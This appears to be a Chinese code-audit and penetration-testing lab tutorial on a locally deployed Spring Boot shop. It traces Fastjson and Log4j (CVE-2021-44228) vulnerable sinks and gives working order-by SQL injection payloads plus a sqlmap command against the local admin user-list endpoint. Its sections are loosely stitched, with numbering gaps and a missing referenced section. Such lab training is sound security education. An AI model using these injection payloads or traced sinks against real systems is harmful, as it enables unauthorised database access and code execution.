某商城系統的Log4j2shell的探索之路
1 項目安裝
迷你天貓商城是一個基于Spring Boot的綜合性B2C電商平臺,需求設計主要參考天貓商城的購物流程:用戶從注冊開始,到完成登錄,瀏覽商品,加入購物車,進行下單,確認收貨,評價等一系列操作。作為迷你天貓商城的核心組成部分之一,天貓數據管理后臺包含商品管理,訂單管理,類別管理,用戶管理和交易額統計等模塊,實現了對整個商城的一站式管理和維護。
A、基礎環境部署
1、Java環境部署
Java版本如下圖所示:

JDK下載鏈接:
https://www.oracle.com/java/technologies/downloads/#java8-windows
安裝步驟操作簡單,只需下一步即可,不過多贅述。
2、Maven環境部署
關于Maven環境部署與安裝,可參考下面的文章,安裝最新版即可。
https://www.runoob.com/maven/maven-setup.html
在IDEA中內置了Maven,對于我們來說足夠用了。
Maven加速配置
配置國內源下載一些依賴組件會非常快,但會有極個別情況,有些組件使用國內源無法下載,則需要再更改配置,大家留有印象就好。
①、訪問c:\Users\當前用戶\.m2目錄,當前用戶文件夾需要根據當前用戶來定,如下圖所示:

②、打開settings.xml文件,復制粘貼以下內容:
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd"> C:\Users\當前用戶\.m2\repository aliyunmaven * 阿里云公共倉庫 https://maven.aliyun.com/repository/public nexus
注意代碼中的當前用戶該位置路徑應與你當前用戶一致。
3、Mysql環境部署
個人偏好于使用phpstudy,它集成了很多常用組件,如apache,mysql等。作為練習,方便至極,一鍵啟動即可使用。
官方下載鏈接:
https://www.xp.cn/
下載完成后,雙擊進入軟件。進入首頁處,選擇mysql套件,點擊啟動即可,如下圖所示:

點擊左側數據庫,可以對數據庫進行密碼修改操作。
4、IDEA
官方下載地址,可選擇使用Ultimate版本。
https://www.jetbrains.com/zh-cn/idea/download/#section=windows
B、環境搭建
1、Windows 10系統。
2、Java版本為1.8.0_261。
3、Mysql版本為5.7。我用的是PHPstudy集成的。
4、IDEA版本隨意。
1、環境要求
1、Windows 10系統。
2、Java版本為1.8.0_261。
3、Mysql版本為5.7。我用的是PHPstudy集成的。
4、IDEA版本隨意。
2、項目部署流程
①、命令行進入Mysql后,創建數據庫名為tmalldemodb,并切換使用該數據庫,如下圖所示:

②、將項目文件中的/sqls/tmalldemodb.sql的數據導入到tmalldemodb數據庫,注意導入路徑中應使用正斜杠/,如下圖所示:

③、使用IDEA打開本項目,等待Maven自動加載依賴項,如果時間較長需要自行配置Maven加速源。幾個現象表明項目部署成功。pom.xml文件無報錯,項目代碼已編譯為class,Run/Debug Configurations...處顯示可以運行。如下圖所示:

④、修改src/main/resouces/application.properties配置文件內容,具體如下圖所示:

⑤、點擊啟動Run/Debug Configurations...本項目,啟動成功如下圖所示:

⑥、項目訪問地址如下:
- 前臺地址:
http://127.0.0.1:8088/tmall - 后臺地址:
http://127.0.0.1:8088/tmall/admin


2
代碼審計漏洞挖掘
“環境部署完成后,
通過代碼審計深入發現安全漏洞”
1、第三方組件漏洞審計
本項目是基于Maven構建的。對于Maven項目,我們首先從pom.xml文件開始審計引入的第三方組件是否存在漏洞版本,然后進一步驗證該組件是否存在漏洞點。
本項目引入的組件以及組件版本整理如下。
組件名稱組件版本SpringBoot2.1.6.RELEASEFastjson1.2.58Mysql5.1.47Druid1.1.19Taglibs1.2.5Mybatis3.5.1Log4j2.10.0
整理完成后,如何確定該組件版本存在漏洞?最簡單的方法無疑于從搜索引擎進行搜索,比如關鍵字:Fastjson 漏洞。進一步可從組件官網,CVE,CNVD,CNNVD等網站查詢。
2、組件漏洞代碼審計
通過查看pom.xml文件中引入的第三方插件,且經過搜索查詢,發現Fastjson、Log4j、Mybatis引入存在漏洞的版本,我們進一步驗證是否存在漏洞。
2.1、Fastjson漏洞代碼審計
本項目引入的Fastjson版本為1.2.58,該版本存在反序列化漏洞。我們進一步探索一番。
2.1.1、Fastjson簡述
Fastjson是Alibaba開發的Java語言編寫的高性能JSON庫,用于將數據在JSON和Java對象之間相互轉換。
兩個主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分別實現序列化和反序列化操作。
2.1.1、Fastjson反序列化簡述
Fastjson反序列化漏洞簡單來說是出現在將JSON數據反序列化過程中出現的漏洞。
攻擊者可以傳入一個惡意構造的JSON內容,程序對其進行反序列化后得到惡意類并執行了惡意類中的惡意函數,進而導致代碼執行。
2.1.2、尋找漏洞觸發點
已確定了Fastjson版本存在問題,進一步尋找觸發Fastjson的漏洞點。我們關注兩個函數JSON.parse()和JSON.parseObject()。
全局搜索兩個關鍵字,發現本項目存在JSON.parseObject(),如下圖所示:

雙擊進入ProductController.java文件,問題代碼出現在了第151行,使用JSON.parseObject()方法反序列化了propertyJson參數,我們向上追蹤propertyJson參數,該參數是添加產品信息接口中產品屬性JSON字段。如下圖所示:

通過代碼審計,找到了Fastjson反序列化漏洞點。我們通過滲透測試進一步驗證。
2.2、Log4j漏洞代碼審計
本項目引入的Log4j版本為2.10.0,該版本存在遠程代碼執行漏洞。我們進一步探索一下。
2.2.1、Log4j簡述
Log4j是Apache的一個開源項目,通過使用Log4j,我們可以控制日志信息輸送的目的地是控制臺、文件、GUI組件,甚至是套接口服務器、NT的事件記錄器、UNIX Syslog守護進程等;我們也可以控制每一條日志的輸出格式;通過定義每一條日志信息的級別,我們能夠更加細致地控制日志的生成過程。最令人感興趣的就是,這些可以通過一個配置文件來靈活地進行配置,而不需要修改應用的代碼。
2.2.2、Log4j遠程代碼執行漏洞(CVE-2021-44228)簡述
由于Apache Log4j2某些功能存在遞歸解析,攻擊者可在未經身份驗證的情況下構造發送帶有攻擊語句的數據請求包,最終造成在目標服務器上執行任意代碼。
其中涉及到的lookup的主要功能就是提供另外一種方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置屬性供使用者以約定的格式進行調用。
該組件漏洞主要發生在引入的log4j-core,log4j-api是不存在該問題的。log4j-core是源碼,log4j-api是接口。
pom.xml文件引入Log4j組件情況如下圖所示,引入了log4j-core,以及版本為2.10.0。基本確定存在問題,驗證還需進一步尋找能觸發的漏洞點。

由于SprinBoot默認自帶日志記錄框架,一般不需要引入,在pom.xml中剔除出去。如下圖所示:

2.2.3、尋找漏洞觸發點
全局搜索關鍵字logger,如下圖可以看出,本項目使用logger.info級別記錄日志方式居多。

大多漏洞分析文章使用logger.error去做調試。兩者區別在于默認記錄信息不同。這塊內容留個作業,大家自行搜索下,不難理解。
經過一番探索,發現有幾處日志記錄拼接了變量參數,讓我們看看這些參數是否是從前端傳來的。如下圖所示:

雙擊即可進入該代碼文件,該文件位于src\main\java\com\xq\tmall\controller\admin\AccountController.java。該代碼文件位于Controller層,主要用于和視圖交互,處理用戶輸入的數據等操作。
關鍵代碼如下圖所示:

對上述代碼進行分析。觸發漏洞點的代碼為65行的logger.info("獲取圖片原始文件名:{}", originalFileName);。向上追蹤,發現通過file.getOriginalFilename();獲取file的文件名后賦值給originalFileName。在向上追蹤,file參數來自admin/uploadAdminHeadImage接口,通過注釋我們可以知道此處為管理員頭像上傳功能。
總結來說:訪問管理員頭像上傳功能,將文件名改為攻擊語句,即可觸發Log4j漏洞。
關于該漏洞驗證,需跳轉到四、滲透測試漏洞挖掘與驗證部分學習,從實戰滲透測試角度進行攻擊驗證。
3
滲透測試漏洞驗證
“在代碼審計階段發現漏洞后,
通過滲透測試進一步驗證。”
2.4、SQL注入漏洞驗證
從代碼審計處,我們發現了存在SQL注入的漏洞功能點用戶管理-點擊下一頁按鈕,會向后端發送查詢數據包,其中存在漏洞參數orderBy。
現在,我們從滲透測試角度,對該漏洞進行驗證。
首先,我們訪問該功能,再點擊下一頁的時候,使用BurpSuite抓取數據包,如下圖所示:

用戶管理處測試數據本身不多,無法點擊下一頁,大家可以自行構造上述數據包。
2.4.1、初步判斷
使用orderBy子句,猜解列數。
orderBy=1,返回正常數據
http://127.0.0.1:8088/tmall/admin/user/1/10?user_name=&user_gender_array=&orderBy=1&isDesc=true

orderBy=99,返回錯誤頁面
http://127.0.0.1:8088/tmall/admin/user/1/10?user_name=&user_gender_array=&orderBy=99&isDesc=true

基本確定存在order by類型的SQL注入。
2.4.2、進一步驗證判斷
- ①、使用rand函數結果顯示排序方式不同
orderBy=rand(1=1) orderBy=rand(1=2)
- ②、利用regexp(正則表達式)
orderBy=(select+1+regexp+if(1=1,1,0x00)) 正常 orderBy=(select+1+regexp+if(1=2,1,0x00)) 錯誤
- ③、利用updatexml(更新選定XML片段的內容)
orderBy=updatexml(1,if(1=1,1,user()),1) 正確 orderBy=updatexml(1,if(1=2,1,user()),1) 錯誤
- ④、利用extractvalue(從目標XML中返回包含所查詢值的字符串)
orderBy=extractvalue(1,if(1=1,1,user())) 正確 orderBy=extractvalue(1,if(1=2,1,user())) 錯誤
- ⑤、時間盲注
orderBy=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常響應時間 orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
2.4.3、使用SQLmap
①、將數據包保存放入txt文件中,在orderBy參數處鍵入*,表示只對該地方進行探測注入。如下圖所示:

②、命令行進入SQLmap文件中,并鍵入命令:python sqlmap.py -r txt文件地址,如下圖所示:

③、回車,進行SQL注入攻擊,最終得到結果如下:

在平時工作授權黑盒滲透測試時,對于Mybatis項目,可以多多關注不能使用#{}轉義的場景,就比如上述order by語句。
第三套課程完整目錄
